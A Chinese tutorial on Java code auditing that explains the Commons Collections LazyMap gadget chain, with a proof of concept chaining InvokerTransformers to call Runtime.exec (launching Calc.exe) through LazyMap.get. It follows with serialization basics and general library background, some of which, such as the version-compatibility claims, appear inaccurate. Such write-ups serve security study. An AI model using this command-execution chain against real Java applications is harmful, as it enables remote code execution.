0x00 前言
CC链迭代链:Java代码审计——Commons Collections 迭代调用链
除开:Java审计——Commons Collections TransformedMap调用链,还有一条LazyMap调用链可以利用。
0x01 LazyMap调用链
在CC包中,除了TransformedMap之外,还有一个LazyMap也可以去触发迭代链。触发的方式是通过get的方式进行触发。
同样和TransformedMap一样,基础的赋值也是由decorate完成的。
1. 先上POC
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
outerMap.put("zeo", "666");
outerMap.get("zep");
这里我们还是通过decorate赋值,然后通过get进行触发。
get触发过程:
- get
- LazyMap.class - get
- this.factory.transform(key)
- TransformedMap.transformValue
- ChainedTransformer.transform
- 迭代链
- InvokerTransformertransform
- …
- this.factory.transform(key)
- LazyMap.class - get
2.总结
实际上不论是TransformedMap或者是LazyMap调用链,最主要的逻辑还是去触发Transform方法。
0x03 使用条件
- 除最新版本无限制
0x04 要点笔记
- LazyMap通过get来进行触发
补充知识
Commons Collections
Apache Commons Collections 是一个为 Java 提供扩展集合类的开源项目。它提供了一系列有用的集合类和算法,可以使编程变得更加简单,快捷和高效。该项目的目标是提供一系列可重用的集合类和算法,以便更好地支持 Java 语言的开发。这些集合类和算法采用了可扩展的方式,方便对其进行定制和扩展。一些常用的集合类包括:List, Set, Map, Stack, Queue 等。Commons Collections 还提供了一些实用的算法,例如排序,查找,迭代等。该项目还提供了一些工具类,用于操作集合和其它数据结构。该项目的目标是成为一个高质量,高性能,易于使用的集合类库。
序列化和反序列化
Java 序列化是将 Java 对象转换为字节流的过程,以便在网络上传输或者将对象保存到磁盘文件中。Java 反序列化则是将字节流反转回 Java 对象的过程,以便在程序中使用这些对象。
Java 序列化和反序列化的过程使用 ObjectOutputStream
和 ObjectInputStream
这两个类来实现。序列化过程中,将需要序列化的对象写入 ObjectOutputStream
中,并通过网络或文件等途径传输或保存,反序列化过程中则将字节流读入 ObjectInputStream
中,并通过类型转换得到原始对象。
需要注意的是,在进行序列化和反序列化时,对象所对应的类需要实现 Java 序列化接口 Serializable
,否则会抛出序列化异常。同时,在进行序列化时,对于敏感信息,需要进行加密或者采用其他安全措施。
序列化栗子
下面是一个简单的 Java 序列化例子:
import java.io.*;
public class SerializationExample {
public static void main(String[] args) {
// 创建一个对象
Person person = new Person("Alice", 25);
// 将对象序列化到文件
try {
FileOutputStream fileOut = new FileOutputStream("person.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(person);
out.close();
fileOut.close();
System.out.println("Serialized data is saved in person.ser");
} catch (IOException e) {
e.printStackTrace();
}
// 从文件读取序列化的对象
try {
FileInputStream fileIn = new FileInputStream("person.ser");
ObjectInputStream in = new ObjectInputStream(fileIn);
Person deserializedPerson = (Person) in.readObject();
in.close();
fileIn.close();
System.out.println("Deserialized data:");
System.out.println("Name: " + deserializedPerson.getName());
System.out.println("Age: " + deserializedPerson.getAge());
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}
// 可序列化的类
class Person implements Serializable {
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public int getAge() {
return age;
}
}
运行程序后,会在当前目录下创建一个名为 person.ser
的文件,里面保存着序列化后的对象。然后程序从文件中读取序列化的对象,将其反序列化成一个 Person
对象,最后输出这个对象的属性。
Commons Collections优点
-
提供了大量的数据结构和算法实现,可以方便地加速开发过程。
-
支持泛型和迭代器,可以提高代码的可读性和可维护性。
-
对Java标准库中的数据结构进行了扩展和增强,提供了更多的功能和选项。
-
提供了安全的、线程安全的容器实现,可以避免多线程环境下的并发问题。
-
提供了高效的、可扩展的集合实现,支持自定义的对象类型和比较器。
-
提供了各种常用的算法和数据结构,如排序、过滤、映射、迭代等,可以方便地完成复杂的操作。
-
开源免费,并且有大量的文档和教程可供参考和学习。
Commons Collections3和4的区别
Commons Collections 3和4是Java编程语言中的开源类库,用于提供更多的集合数据结构和工具类。它们的主要区别如下:
-
架构:Commons Collections 4使用了新的架构,通过更好的设计和实现,提高了性能和可用性。
-
功能:Commons Collections 4新增了一些功能,例如BloomFilter,MultiValuedMap等。
-
兼容性:Commons Collections 4支持Java 8和以上版本,而Commons Collections 3只支持Java 7及以下版本。
-
依赖:Commons Collections 4移除了对其他类库的依赖,例如BeanUtils和ComparatorUtils,这使得它更加轻便和易用。
Commons Collections 4是一个更为现代化和高效的Java集合类库,更适合使用Java 8及以上版本。但如果你仍然需要在Java 7及以下版本中使用,那么Commons Collections 3是一个不错的选择。
Java代码审计学习技巧
Java代码审计是一项非常重要的安全工作,以下是一些学习技巧:
-
学习Java语言和基础知识: 了解Java的基础知识是进行代码审计的前提条件。这包括Java编程语言的基础、Java虚拟机的工作原理知识、Java安全API和Java编程规范等。
-
学习Web应用安全知识: 了解Web应用程序最常见的安全漏洞,例如SQL注入、跨站点脚本攻击、跨站点请求伪造、文件包含漏洞、不安全的直接对象引用和访问控制等。
-
使用代码审计工具: 代码审计工具可以帮助您快速识别潜在的安全漏洞。这些工具包括静态代码分析工具、动态分析工具和漏洞扫描器。
-
熟悉常见的安全漏洞: Java Web应用程序经常受到各种漏洞的攻击,例如SQL注入、XSS、CSRF、文件包含、命令注入和未授权访问等。学习如何识别和利用这些漏洞对于审计Java代码的安全非常重要。
-
阅读源代码: 阅读Java源代码可以帮助您理解应用程序的工作原理和安全弱点。此外,了解Java编程规范可以帮助您更好地理解代码并更快地找到安全漏洞。
-
不断提高审计技能: 随着技术的不断发展,安全漏洞形式和攻击技术也在不断变化。因此,不断提高审计技能并学习新技术是很重要的。参加培训、阅读最新的安全报告和博客以及参与安全社区都是提高审计技能的好方法。